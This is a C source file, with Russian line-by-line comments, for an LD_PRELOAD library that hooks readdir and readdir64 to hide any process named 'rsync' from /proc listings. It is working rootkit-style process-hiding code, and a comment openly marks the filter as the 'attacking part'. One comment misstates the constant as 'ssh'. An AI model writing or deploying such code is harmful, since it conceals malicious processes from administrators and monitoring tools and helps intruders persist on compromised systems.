#define _GNU_SOURCE

#include <stdio.h>  /* импорт стандартной библиотеки ввода вывода linux */
#include <dlfcn.h>  /* импорт заголовочного файла стандартной библиотеки для работы с динамическими библиотеками*/
#include <dirent.h> /* импорт заголовочного файла стандартной библиотеки для интерпритации информации */
#include <string.h> /* импорт заголовочного файла стандартной библиотеки СИ для рауботы с нультерминированными строками и различными функциями работы с памятью */
#include <unistd.h> /* импорт заголовочного файла стандартной библиотеки Си для работыс с различными функциями POSIX и констант */

/*
 * Every process with this name will be excluded * комментарий *
 */ 
 /* АТАКУЮЩАЯ ЧАСТЬ!!! необходимо указывать название процесса, который нужно спрятать */
static const char* process_to_filter = "rsync"; /*объявляем статическу константу символьного типа данных "process_to_filter" равное "ssh" */ 

/*
 * Get a directory name given a DIR* handle * комментарий *
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size) /* объявляем статическу переременную целочисленного типа данных get_dir_name */
{
    int fd = dirfd(dirp); /*целочисленная переменная fd*/
    if(fd == -1) { /*условие*/
        return 0; /*нулевое значение*/
    }

    char tmp[64]; /* объявляем tmp размером 64 */
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); 
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
